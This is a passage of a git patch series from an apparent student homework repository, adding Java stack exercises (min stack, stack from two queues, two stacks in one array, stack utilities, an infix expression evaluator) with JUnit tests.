+        stack.push(1);
+        Assert.assertEquals(new Integer(0), stack.findMin());
+        stack.pop();
+        Assert.assertEquals(new Integer(0), stack.findMin());
+        stack.pop();
+        Assert.assertEquals(new Integer(2), stack.findMin());
+        stack.pop();
+        Assert.assertEquals(new Integer(2), stack.findMin());
+        stack.push(-1);
+        Assert.assertEquals(new Integer(-1), stack.findMin());
+    }
+
+}
\ No newline at end of file
diff --git a/group03/569045298/src/test/com/coding/basic/datastructure/stack/StackUtilTest.java b/group03/569045298/src/test/com/coding/basic/datastructure/stack/StackUtilTest.java
new file mode 100644
index 0000000000..ded9c203c2
--- /dev/null
+++ b/group03/569045298/src/test/com/coding/basic/datastructure/stack/StackUtilTest.java
@@ -0,0 +1,83 @@
+package com.coding.basic.datastructure.stack;
+
+
+import org.junit.Assert;
+import org.junit.Test;
+
+import java.util.Stack;
+
+public class StackUtilTest {
+
+    @Test
+    public void testReverse() {
+        Stack<Integer> s = new Stack();
+        s.push(1);
+        s.push(2);
+        s.push(3);
+        s.push(4);
+        s.push(5);
+        s.push(null);
+        Assert.assertEquals("[1, 2, 3, 4, 5, null]", s.toString());
+        StackUtil.reverse(s);
+        Assert.assertEquals("[null, 5, 4, 3, 2, 1]", s.toString());
+    }
+
+    @Test
+    public void testRemove() {
+        Stack<Integer> s = new Stack();
+        s.push(1);
+        s.push(2);
+        s.push(3);
+        StackUtil.remove(s, 3);
+        Assert.assertEquals("[1, 2]", s.toString());
+        s = new Stack();
+        s.push(1);
+        StackUtil.remove(s, 2);
+        Assert.assertEquals("[1]", s.toString());
+        s = new Stack();
+        s.push(1);
+        StackUtil.remove(s, 1);
+        Assert.assertEquals("[]", s.toString());
+        s = new Stack();
+        s.push(1);
+        s.push(null);
+        s.push(2);
+        s.push(3);
+        StackUtil.remove(s, 2);
+        Assert.assertEquals("[1, null, 3]", s.toString());
+        s = new Stack();
+        s.push(1);
+        s.push(null);
+        s.push(2);
+        s.push(3);
+        StackUtil.remove(s, null);
+        Assert.assertEquals("[1, 2, 3]", s.toString());
+    }
+
+    @Test
+    public void testGetTop() {
+        Stack<Integer> s = new Stack();
+        s.push(1);
+        s.push(2);
+        s.push(null);
+        s.push(3);
+        s.push(4);
+        s.push(5);
+        {
+            Object[] values = StackUtil.getTop(s, 4);
+            Assert.assertEquals("[1, 2, null, 3, 4, 5]", s.toString());
+            Assert.assertEquals(5, values[0]);
+            Assert.assertEquals(4, values[1]);
+            Assert.assertEquals(3, values[2]);
+            Assert.assertEquals(null, values[3]);
+        }
+    }
+
+    @Test
+    public void testIsValidPairs() {
+        Assert.assertTrue(StackUtil.isValidPairs("([e{d}f])"));
+        Assert.assertFalse(StackUtil.isValidPairs("([b{x]y})"));
+        Assert.assertFalse(StackUtil.isValidPairs("}])"));
+    }
+
+}
diff --git a/group03/569045298/src/test/com/coding/basic/datastructure/stack/StackWithTwoQueuesTest.java b/group03/569045298/src/test/com/coding/basic/datastructure/stack/StackWithTwoQueuesTest.java
new file mode 100644
index 0000000000..c81a4c98cd
--- /dev/null
+++ b/group03/569045298/src/test/com/coding/basic/datastructure/stack/StackWithTwoQueuesTest.java
@@ -0,0 +1,27 @@
+package com.coding.basic.datastructure.stack;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+/**
+ * Created by zt
+ * 2017/5/6 18:48
+ */
+public class StackWithTwoQueuesTest {
+
+    @Test
+    public void pop() {
+        StackWithTwoQueues<Integer> stackWithTwoQueues = new StackWithTwoQueues<>();
+        stackWithTwoQueues.push(1);
+        stackWithTwoQueues.push(2);
+        stackWithTwoQueues.push(3);
+        stackWithTwoQueues.push(4);
+        stackWithTwoQueues.push(5);
+        Assert.assertEquals(new Integer(5), stackWithTwoQueues.pop());
+        Assert.assertEquals(new Integer(4), stackWithTwoQueues.pop());
+        stackWithTwoQueues.push(6);
+        Assert.assertEquals(new Integer(6), stackWithTwoQueues.pop());
+        Assert.assertEquals(new Integer(3), stackWithTwoQueues.pop());
+    }
+
+}
\ No newline at end of file
diff --git a/group03/569045298/src/test/com/coding/basic/datastructure/stack/TwoStackInOneArrayTest.java b/group03/569045298/src/test/com/coding/basic/datastructure/stack/TwoStackInOneArrayTest.java
new file mode 100644
index 0000000000..efeb0f359d
--- /dev/null
+++ b/group03/569045298/src/test/com/coding/basic/datastructure/stack/TwoStackInOneArrayTest.java
@@ -0,0 +1,28 @@
+package com.coding.basic.datastructure.stack;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+/**
+ * Created by zt
+ * 2017/5/6 19:35
+ */
+public class TwoStackInOneArrayTest {
+
+    @Test
+    public void pop() throws Exception {
+        TwoStackInOneArray twoStackInOneArray = new TwoStackInOneArray(15);
+        for (int i = 0; i < 10; i++) {
+            twoStackInOneArray.push1(new Integer(i));
+            twoStackInOneArray.push2(new Integer(i + 10));
+        }
+        Assert.assertEquals(new Integer(9), twoStackInOneArray.pop1());
+        Assert.assertEquals(new Integer(19), twoStackInOneArray.pop2());
+        Assert.assertEquals(new Integer(8), twoStackInOneArray.pop1());
+        Assert.assertEquals(new Integer(7), twoStackInOneArray.pop1());
+        Assert.assertEquals(new Integer(18), twoStackInOneArray.pop2());
+        twoStackInOneArray.push1(666);
+        Assert.assertEquals(new Integer(666), twoStackInOneArray.pop1());
+    }
+
+}
\ No newline at end of file
diff --git a/group03/569045298/src/test/com/coding/basic/datastructure/stack/expr/InfixExprTest.java b/group03/569045298/src/test/com/coding/basic/datastructure/stack/expr/InfixExprTest.java
new file mode 100644
index 0000000000..51af111a13
--- /dev/null
+++ b/group03/569045298/src/test/com/coding/basic/datastructure/stack/expr/InfixExprTest.java
@@ -0,0 +1,50 @@
+package com.coding.basic.datastructure.stack.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class InfixExprTest {
+
+    @Before
+    public void setUp() {
+
+    }
+
+    @After
+    public void tearDown() {
+
+    }
+
+    @Test
+    public void testEvaluate() {
+        //InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+        {
+            InfixExpression expr = new InfixExpression("2+3*4+5");
+            Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+        }
+        {
+            InfixExpression expr = new InfixExpression("3*20+12*5-40/2");
+            Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+        }
+
+        {
+            InfixExpression expr = new InfixExpression("3*20/2");
+            Assert.assertEquals(30, expr.evaluate(), 0.001f);
+        }
+
+        {
+            InfixExpression expr = new InfixExpression("20/2*3");
+            Assert.assertEquals(30, expr.evaluate(), 0.001f);
+        }
+
+        {
+            InfixExpression expr = new InfixExpression("10-30+50");
+            Assert.assertEquals(30, expr.evaluate(), 0.001f);
+        }
+
+    }
+
+}

From 886a92ef3f721429a26f629315a79529bb35531a Mon Sep 17 00:00:00 2001
From: ZhaoHongxin <zhaohongxin621@126.com>
Date: Sat, 6 May 2017 21:10:37 +0800
Subject: [PATCH 207/262] QuickMinStack

---
 .../com/coding/basic/stack/QuickMinStack.java | 25 ++++++-
 .../basic/stack/StackWithTwoQueues.java       | 21 +++++-
 .../basic/stack/TwoStackInOneArray.java       | 66 +++++++++++++++++--
 3 files changed, 99 insertions(+), 13 deletions(-)

diff --git a/group05/1094051862/mini-jvm/src/com/coding/basic/stack/QuickMinStack.java b/group05/1094051862/mini-jvm/src/com/coding/basic/stack/QuickMinStack.java
index 4f257ab9fb..e93820f486 100644
--- a/group05/1094051862/mini-jvm/src/com/coding/basic/stack/QuickMinStack.java
+++ b/group05/1094051862/mini-jvm/src/com/coding/basic/stack/QuickMinStack.java
@@ -7,13 +7,32 @@
  *
  */
 public class QuickMinStack {
+	
+	Stack<Integer> s = new Stack<Integer>();
+	Stack<Integer> m = new Stack<Integer>();
 	public void push(int data){
-		
+		s.push(data);
+		if(m.isEmpty()) {
+			m.push(data);
+		}
+		else if (data <= (int)m.peek()) {
+			m.push(data);
+		}
 	}
 	public int pop(){
-		return -1;
+		if (m.isEmpty()) {
+			throw new RuntimeException("stack is empty");
+		}
+		int x = (int) m.pop();
+		if (x==(int)m.peek()) {
+			m.pop();
+		}
+		return x;
 	}
 	public int findMin(){
-		return -1;
+		if (m.isEmpty()) {
+			throw new RuntimeException("stack is empty");
+		}
+		return (int) m.peek();
 	}
 }
diff --git a/group05/1094051862/mini-jvm/src/com/coding/basic/stack/StackWithTwoQueues.java b/group05/1094051862/mini-jvm/src/com/coding/basic/stack/StackWithTwoQueues.java
index 6f1d5bd04d..6b4fafaf6a 100644
--- a/group05/1094051862/mini-jvm/src/com/coding/basic/stack/StackWithTwoQueues.java
+++ b/group05/1094051862/mini-jvm/src/com/coding/basic/stack/StackWithTwoQueues.java
@@ -1,15 +1,30 @@
 package com.coding.basic.stack;
 
+import com.coding.basic.queue.Queue;
 
 public class StackWithTwoQueues {
 	
-
+	private Queue q1 = new Queue();
+	private Queue q2 = new Queue();
+	
     public void push(int data) {       
-
+    	q1.enQueue(data);
     }
 
+    public boolean isEmpty() {
+    	return q1.isEmpty() && q2.isEmpty();
+    }
+    
     public int pop() {
-       return -1;
+    	if (isEmpty()) {
+    		throw new RuntimeException("stack is empty");
+    	}
+    	if (q2.isEmpty()) {
+    		while(!q1.isEmpty()) {
+    			q2.enQueue(q1.deQueue());
+    		}
+    	}
+    	return (int) q2.deQueue();
     }
 
     
diff --git a/group05/1094051862/mini-jvm/src/com/coding/basic/stack/TwoStackInOneArray.java b/group05/1094051862/mini-jvm/src/com/coding/basic/stack/TwoStackInOneArray.java
index 53a902ba17..6ea653e7f3 100644
--- a/group05/1094051862/mini-jvm/src/com/coding/basic/stack/TwoStackInOneArray.java
+++ b/group05/1094051862/mini-jvm/src/com/coding/basic/stack/TwoStackInOneArray.java
@@ -1,5 +1,7 @@
 package com.coding.basic.stack;
 
+import java.util.Arrays;
+
 /**
  * 用一个数组实现两个栈
  * 将数组的起始位置看作是第一个栈的栈底，将数组的尾部看作第二个栈的栈底，压栈时，栈顶指针分别向中间移动，直到两栈顶指针相遇，则扩容。
@@ -7,21 +9,39 @@
  *
  */
 public class TwoStackInOneArray {
-	Object[] data = new Object[10];
+	
+	private int capacity = 10;
+	Object[] data = new Object[capacity];
+	
+	private int DEFAULT_DILATATION = capacity/2;
+	
+	private int index1 = -1;
+	private int index2 = capacity;
 	
 	/**
 	 * 向第一个栈中压入元素
 	 * @param o
 	 */
 	public void push1(Object o){
-		
+		if(isFull()) {
+			dilatation();
+		}
+		data[index1++] = o;
 	}
 	/**
 	 * 从第一个栈中弹出元素
 	 * @return
 	 */
 	public Object pop1(){
-		return null;
+		if (stack1IsEmppty()) {
+			throw new RuntimeException("stack1 is empty");
+		}
+		Object o = data[index1];
+		data[index1--] = null;
+		return o;
+	}
+	public boolean stack1IsEmppty() {
+		return index1==-1;
 	}
 	
 	/**
@@ -30,12 +50,19 @@ public Object pop1(){
 	 */
 	
 	public Object peek1(){
-		return null;
+		if (stack1IsEmppty()) {
+			throw new RuntimeException("stack1 is empty");
+		}
+		return data[index1];
 	}
-	/*
+	/**
 	 * 向第二个栈压入元素
 	 */
 	public void push2(Object o){
+		if(isFull()) {
+			dilatation();
+		}
+		data[--index2] = o;
 		
 	}
 	/**
@@ -43,7 +70,15 @@ public void push2(Object o){
 	 * @return
 	 */
 	public Object pop2(){
-		return null;
+		if (stack2IsEmpty()) {
+			throw new RuntimeException("stack2 is empty");
+		}
+		Object o = data[index2];
+		data[index2++] = null;
+		return o;
+	}
+	public boolean stack2IsEmpty() {
+		return index2==capacity;
 	}
 	/**
 	 * 获取第二个栈的栈顶元素
@@ -51,7 +86,24 @@ public Object pop2(){
 	 */
 	
 	public Object peek2(){
-		return null;
+		if (stack2IsEmpty()) {
+			throw new RuntimeException("stack2 is empty");
+		}
+		return data[index2];
 	}
 	
+	public boolean isFull() {
+		return (index1+1) == index2;
+	}
+	private void dilatation() {
+		int newcapacity = DEFAULT_DILATATION + capacity;
+		int newindex2 = newcapacity;
+		Object[] temp = Arrays.copyOfRange(data, 0, index1);
+		temp = Arrays.copyOf(temp, newcapacity);
+		
+		for (int i = capacity-1; i >= index2; i-- ) {
+			temp[--newindex2] = data[i];
+		}
+		index2 = newindex2;
+	}
 }

From 2f202c55f1f9ee42bc8db644f7c4ca7c841fd79d Mon Sep 17 00:00:00 2001
From: GallenZhang <1298552064@qq.com>
Date: Sun, 7 May 2017 03:29:12 +0800
Subject: [PATCH 208/262] =?UTF-8?q?=E7=AC=AC=E4=BA=94=E6=AC=A1=E4=BD=9C?=
 =?UTF-8?q?=E4=B8=9A=E4=B9=8B=E6=95=B0=E6=8D=AE=E7=BB=93=E6=9E=84?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

第五次作业之数据结构
---
 .../src/week05/basic/StackUtil.java           | 110 ++++++++++++++++++
 .../src/week05/test/StackUtilTest.java        |  68 +++++++++++
 2 files changed, 178 insertions(+)
 create mode 100644 group01/1298552064/src/week05/basic/StackUtil.java
 create mode 100644 group01/1298552064/src/week05/test/StackUtilTest.java

diff --git a/group01/1298552064/src/week05/basic/StackUtil.java b/group01/1298552064/src/week05/basic/StackUtil.java
new file mode 100644
index 0000000000..7a7f459d2f
--- /dev/null
+++ b/group01/1298552064/src/week05/basic/StackUtil.java
@@ -0,0 +1,110 @@
+package week05.basic;
+
+import java.util.Stack;
+
+public class StackUtil {
+
+	/**
+	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 */
+	public static void reverse(Stack<Integer> s) {
+		Stack<Integer> reverseStack = new Stack<>();
+		Stack<Integer> sequenceStack = new Stack<>();
+		while(!s.isEmpty()){
+			reverseStack.push(s.pop());
+		}
+		
+		while(!reverseStack.isEmpty()){
+			sequenceStack.push(reverseStack.pop());
+		}
+		
+		while(!sequenceStack.isEmpty()){
+			s.push(sequenceStack.pop());
+		}
+	}
+	
+	/**
+	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * 
+	 * @param o
+	 */
+	@SuppressWarnings({ "unchecked", "rawtypes" })
+	public static void remove(Stack s,Object o) {
+		Stack tmpStack = new Stack<>();
+		while(!s.isEmpty()){
+			if(s.peek().equals(o)){
+				s.pop();
+			}else{
+				tmpStack.push(s.pop());
+			}
+		}
+		
+		while(!tmpStack.isEmpty()){
+			s.push(tmpStack.pop());
+		}
+	}
+
+	/**
+	 * 从栈顶取得len个元素, 原来的栈中元素保持不变
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * @param len
+	 * @return
+	 */
+	@SuppressWarnings({ "unchecked", "rawtypes" })
+	public static Object[] getTop(Stack s,int len) {
+		if(len < 0 ||len > s.size()){
+			throw new IllegalArgumentException("len is invalid argument.");
+		}
+		
+		Object[] objects = new Object[len];
+		Stack tmpStack = new Stack<>();
+		int index = 0;
+		while(!s.isEmpty() && index < len){
+			Object o = s.pop();
+			tmpStack.push(o);
+			objects[index++] = o;
+		}
+		
+		while(!tmpStack.isEmpty()){
+			s.push(tmpStack.pop());
+		}
+		return objects;
+	}
+	/**
+	 * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
+	 * 使用堆栈检查字符串s中的括号是不是成对出现的。
+	 * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
+	 * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的，该方法返回false;
+	 *  
+	 * @param s
+	 * @return
+	 */
+	@SuppressWarnings({ "unchecked", "rawtypes" })
+	public static boolean isValidPairs(String s){
+		String symStr = "";
+		Stack symStack = new Stack<>();
+		for(int i = 0; i < s.length(); i++){
+			if(!Character.isLetter(s.charAt(i))){
+				symStack.push(s.charAt(i));
+				symStr += s.charAt(i);
+			}
+		}
+		
+		for(int i=0; i< symStr.length();i++){
+			char s1 = symStr.charAt(i);
+			char s2 = (char) symStack.pop();
+			if(s1 == '(' && s2 != ')'){
+				return false;
+			}
+			if(s1 == '[' && s2 != ']'){
+				return false;
+			}
+			if(s1 == '{' && s2 != '}'){
+				return false;
+			}
+		}
+		
+		return true;
+	} 
+}
diff --git a/group01/1298552064/src/week05/test/StackUtilTest.java b/group01/1298552064/src/week05/test/StackUtilTest.java
new file mode 100644
index 0000000000..9ad9eb04f8
--- /dev/null
+++ b/group01/1298552064/src/week05/test/StackUtilTest.java
@@ -0,0 +1,68 @@
+package week05.test;
+
+import java.util.Stack;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import week05.basic.StackUtil;
+
+public class StackUtilTest {
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	
+	@Test
+	public void testReverse() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		s.push(4);
+		s.push(5);
+		Assert.assertEquals("[1, 2, 3, 4, 5]", s.toString());
+		StackUtil.reverse(s);
+		Assert.assertEquals("[5, 4, 3, 2, 1]", s.toString());
+	}
+	
+	@Test
+	public void testRemove() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		StackUtil.remove(s, 2);
+		Assert.assertEquals("[1, 3]", s.toString());
+	}
+
+	@Test
+	public void testGetTop() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		s.push(4);
+		s.push(5);
+		{
+			Object[] values = StackUtil.getTop(s, 3);
+			Assert.assertEquals(5, values[0]);
+			Assert.assertEquals(4, values[1]);
+			Assert.assertEquals(3, values[2]);
+			System.out.println(s.toString());
+		}
+	}
+
+	@Test
+	public void testIsValidPairs() {
+		Assert.assertTrue(StackUtil.isValidPairs("([e{d}f])"));
+		Assert.assertFalse(StackUtil.isValidPairs("([b{x]y})"));
+	}
+
+}

From 2988b0f3ae7325bc9198b58ee1c1f475d304d346 Mon Sep 17 00:00:00 2001
From: GallenZhang <1298552064@qq.com>
Date: Sun, 7 May 2017 03:37:49 +0800
Subject: [PATCH 209/262] =?UTF-8?q?=E7=AC=AC=E5=85=AD=E6=AC=A1=E4=BD=9C?=
 =?UTF-8?q?=E4=B8=9A=E4=B9=8B=E6=95=B0=E6=8D=AE=E7=BB=93=E6=9E=84?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

第六次作业之数据结构
---
 .../src/week06/basic/InfixExpr.java           | 102 ++++++++++++++++++
 .../1298552064/src/week06/basic/Token.java    |  53 +++++++++
 .../src/week06/basic/TokenParser.java         |  44 ++++++++
 .../src/week06/test/InfixExprTest.java        |  53 +++++++++
 .../src/week06/test/TokenParserTest.java      |  40 +++++++
 5 files changed, 292 insertions(+)
 create mode 100644 group01/1298552064/src/week06/basic/InfixExpr.java
 create mode 100644 group01/1298552064/src/week06/basic/Token.java
 create mode 100644 group01/1298552064/src/week06/basic/TokenParser.java
 create mode 100644 group01/1298552064/src/week06/test/InfixExprTest.java
 create mode 100644 group01/1298552064/src/week06/test/TokenParserTest.java

diff --git a/group01/1298552064/src/week06/basic/InfixExpr.java b/group01/1298552064/src/week06/basic/InfixExpr.java
new file mode 100644
index 0000000000..8e8718e839
--- /dev/null
+++ b/group01/1298552064/src/week06/basic/InfixExpr.java
@@ -0,0 +1,102 @@
+package week06.basic;
+
+import java.util.List;
+import java.util.Stack;
+
+public class InfixExpr {
+	private String expr = null;
+
+	public InfixExpr(String expr) {
+		this.expr = expr;
+	}
+	
+	/**
+	 * 计算
+	 * @param operator 运算符
+	 * @param i1 操作数1
+	 * @param i2 操作数2
+	 * @return
+	 */
+	private int cal(char operator, int i1, int i2){
+		int result = 0;
+		switch(operator){
+			case '+' : result = i1 + i2 ; break;
+			case '-' : result = i1 - i2 ; break;
+			case '*' : result = i1 * i2 ; break;
+			case '/' : 
+				if(i1 == 0){
+					throw new ArithmeticException("除数不能为0");
+				}
+				result = i1 / i2 ; break;
+		}
+		return result;
+	}
+
+	public float evaluate() {
+		TokenParser tokenParser = new TokenParser();
+		List<Token> tokens = tokenParser.parse(expr);
+		Stack<Token> operatorStack = new Stack<>();
+		Stack<Integer> operandStack = new Stack<>();
+		for(Token token : tokens){
+			if(token.isNumber()){
+				operandStack.push(token.getIntValue());
+				continue;
+			}
+			
+			if(token.isOperator()){
+				if(operatorStack.isEmpty()){
+					operatorStack.push(token);
+					continue;
+				}
+				
+				Token pre = operatorStack.peek();
+				boolean hasHigherPriority = token.hasHigherPriority(pre);
+				if(hasHigherPriority){
+					operatorStack.push(token);
+				}else{
+					int n2 = operandStack.pop();
+					int n1 = operandStack.pop();
+					String operator = operatorStack.pop().value;
+					operatorStack.push(token);
+					operandStack.push(cal(operator.charAt(0), n1, n2));
+				}
+			}
+		}
+		
+		while(!operatorStack.isEmpty()){
+			if(operatorStack.size() == 1){
+				int n2 = operandStack.pop();
+				int n1 = operandStack.pop();
+				String operator = operatorStack.pop().value;
+				operandStack.push(cal(operator.charAt(0), n1, n2));
+				break;
+			}
+			
+			Token cur = operatorStack.pop();
+			Token pre = operatorStack.pop(); 
+			if(cur.hasHigherPriority(pre)){
+				int n2 = operandStack.pop();
+				int n1 = operandStack.pop();
+				operandStack.push(cal(cur.value.charAt(0), n1, n2));
+				
+				operatorStack.push(pre);
+			}else{
+				int n3 = operandStack.pop();
+				int n2 = operandStack.pop();
+				int n1 = operandStack.pop();
+				operandStack.push(cal(pre.value.charAt(0), n1, n2));
+				operandStack.push(n3);
+				
+				operatorStack.push(cur);
+			}
+			
+		}
+		return (float)operandStack.pop();
+	}
+	
+	public static void main(String[] args) {
+		InfixExpr expr = new InfixExpr("10-2*3+50");
+		System.out.println(expr.evaluate());
+	}
+
+}
diff --git a/group01/1298552064/src/week06/basic/Token.java b/group01/1298552064/src/week06/basic/Token.java
new file mode 100644
index 0000000000..c817040815
--- /dev/null
+++ b/group01/1298552064/src/week06/basic/Token.java
@@ -0,0 +1,53 @@
+package week06.basic;
+
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+public class Token {
+	static final int OPERATOR = 1;
+	static final int NUMBER = 2;
+	String value;
+	int type;
+	public static final List<String> OPERATORS = Arrays.asList("+","-","*","/");
+	private static final Map<String, Integer> priorities = new HashMap<>();
+	static{
+		priorities.put("+", 1);
+		priorities.put("-", 1);
+		priorities.put("*", 2);
+		priorities.put("/", 2);
+	}
+	
+	
+	public Token(int type, String value){
+		this.type = type;
+		this.value = value;
+	}
+	
+	public boolean isOperator(){
+		return type == OPERATOR;
+	}
+	
+	public boolean isNumber(){
+		return type == NUMBER;
+	}
+	
+	public int getIntValue(){
+		return Integer.parseInt(value);
+	}
+	
+	@Override
+	public String toString(){
+		return value;
+	}
+	
+	public boolean hasHigherPriority(Token t){
+		if(!this.isOperator() && !t.isOperator()){
+			throw new RuntimeException("numbers can't compare priority");
+		}
+		return priorities.get(this.value) - priorities.get(t.value) > 0;
+		
+	}
+	
+}
diff --git a/group01/1298552064/src/week06/basic/TokenParser.java b/group01/1298552064/src/week06/basic/TokenParser.java
new file mode 100644
index 0000000000..6a44e4260f
--- /dev/null
+++ b/group01/1298552064/src/week06/basic/TokenParser.java
@@ -0,0 +1,44 @@
+package week06.basic;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class TokenParser {
+	public List<Token> parse(String expr){
+		List<Token> tokens = new ArrayList<>();
+		int i = 0;
+		while(i < expr.length()){
+			char c = expr.charAt(i);
+			if(isOperator(c)){
+				Token token = new Token(Token.OPERATOR, String.valueOf(c));
+				tokens.add(token);
+				i++;
+			}else if(Character.isDigit(c)){
+				int nextOperatorIndex = indexOfNextOperator(i, expr);
+				String value = expr.substring(i, nextOperatorIndex);
+				Token token = new Token(Token.NUMBER, value);
+				tokens.add(token);
+				i = nextOperatorIndex;
+			}else{
+				System.out.println("char :[" + c + "] is not number or operator,ignore");
+				i++;
+			}
+		}
+		return tokens;
+	}
+	
+	public int indexOfNextOperator(int i,String expr){
+		while(Character.isDigit(expr.charAt(i))){
+			i++;
+			if(i == expr.length()){
+				break;
+			}
+		}
+		return i;
+	}
+	
+	public boolean isOperator(char c){
+		String s = String.valueOf(c);
+		return Token.OPERATORS.contains(s);
+	}
+}
diff --git a/group01/1298552064/src/week06/test/InfixExprTest.java b/group01/1298552064/src/week06/test/InfixExprTest.java
new file mode 100644
index 0000000000..9a20193fb4
--- /dev/null
+++ b/group01/1298552064/src/week06/test/InfixExprTest.java
@@ -0,0 +1,53 @@
+package week06.test;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import week06.basic.InfixExpr;
+
+public class InfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		// InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+		{
+			InfixExpr expr = new InfixExpr("2+3*4+5");
+			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
+			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+		}
+
+		{
+			InfixExpr expr = new InfixExpr("3*20/2");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+
+		{
+			InfixExpr expr = new InfixExpr("20/2*3");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+
+		{
+			InfixExpr expr = new InfixExpr("10-30+50");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("10-2*3+50");
+			Assert.assertEquals(54, expr.evaluate(), 0.001f);
+		}
+
+	}
+
+}
diff --git a/group01/1298552064/src/week06/test/TokenParserTest.java b/group01/1298552064/src/week06/test/TokenParserTest.java
new file mode 100644
index 0000000000..7f1632fceb
--- /dev/null
+++ b/group01/1298552064/src/week06/test/TokenParserTest.java
@@ -0,0 +1,40 @@
+package week06.test;
+
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import week06.basic.Token;
+import week06.basic.TokenParser;
+
+public class TokenParserTest {
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void test() {
+
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse("300*20+12*5-20/4");
+
+		Assert.assertEquals(300, tokens.get(0).getIntValue());
+		Assert.assertEquals("*", tokens.get(1).toString());
+		Assert.assertEquals(20, tokens.get(2).getIntValue());
+		Assert.assertEquals("+", tokens.get(3).toString());
+		Assert.assertEquals(12, tokens.get(4).getIntValue());
+		Assert.assertEquals("*", tokens.get(5).toString());
+		Assert.assertEquals(5, tokens.get(6).getIntValue());
+		Assert.assertEquals("-", tokens.get(7).toString());
+		Assert.assertEquals(20, tokens.get(8).getIntValue());
+		Assert.assertEquals("/", tokens.get(9).toString());
+		Assert.assertEquals(4, tokens.get(10).getIntValue());
+	}
+}

From 6e44b5cb1786403c97aeaa74bb19afc9343d0b3f Mon Sep 17 00:00:00 2001
From: Jane_Zhou <1294642551@qq.com>
Date: Sun, 7 May 2017 11:10:02 +0800
Subject: [PATCH 210/262] the fifth homework...StackUtil

---
 group19/1294642551/src/stackUtil/Stack.java   |  51 ++++++++
 .../1294642551/src/stackUtil/StackUtil.java   | 121 ++++++++++++++++++
 .../test/stackUtil/StackUtilTest.java         |  66 ++++++++++
 3 files changed, 238 insertions(+)
 create mode 100644 group19/1294642551/src/stackUtil/Stack.java
 create mode 100644 group19/1294642551/src/stackUtil/StackUtil.java
 create mode 100644 group19/1294642551/test/stackUtil/StackUtilTest.java

diff --git a/group19/1294642551/src/stackUtil/Stack.java b/group19/1294642551/src/stackUtil/Stack.java
new file mode 100644
index 0000000000..a01d2b6e87
--- /dev/null
+++ b/group19/1294642551/src/stackUtil/Stack.java
@@ -0,0 +1,51 @@
+package stackUtil;
+
+import java.util.ArrayList;
+
+
+public class Stack<E> {
+	private ArrayList<E> elementData;
+	private int size;
+	
+	public Stack(){
+		elementData = new ArrayList<E>();
+		this.size = 0;
+	}
+	
+	
+	
+	public void push(E e){	
+		elementData.add(e);
+		size++;
+	}
+	
+	public E pop(){
+		E o = elementData.remove(size - 1);
+		size--;
+		return o;
+	}
+	
+	public E peek(){
+		return elementData.get(size - 1);
+	}
+	
+	public boolean isEmpty(){
+		return size == 0;
+	}
+	
+	public int size(){
+		return size;
+	}
+	
+	public String toString(){
+		StringBuilder sb = new StringBuilder("[");
+		for(int i = 0; i < size; i++){
+			sb.append(elementData.get(i));
+			if(i < size - 1){
+				sb.append(", ");
+			}
+		}
+		sb.append("]");
+		return sb.toString();
+	}
+}
diff --git a/group19/1294642551/src/stackUtil/StackUtil.java b/group19/1294642551/src/stackUtil/StackUtil.java
new file mode 100644
index 0000000000..de1ec4231d
--- /dev/null
+++ b/group19/1294642551/src/stackUtil/StackUtil.java
@@ -0,0 +1,121 @@
+package stackUtil;
+
+
+
+public class StackUtil {
+	
+	
+	
+	/**
+	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 */
+	public static void reverse(Stack<Integer> s) {
+		/*
+		 * 注意值传递的问题
+		 */
+        if(s == null || s.isEmpty()) {
+        	return;
+        }
+        
+        int size = s.size();
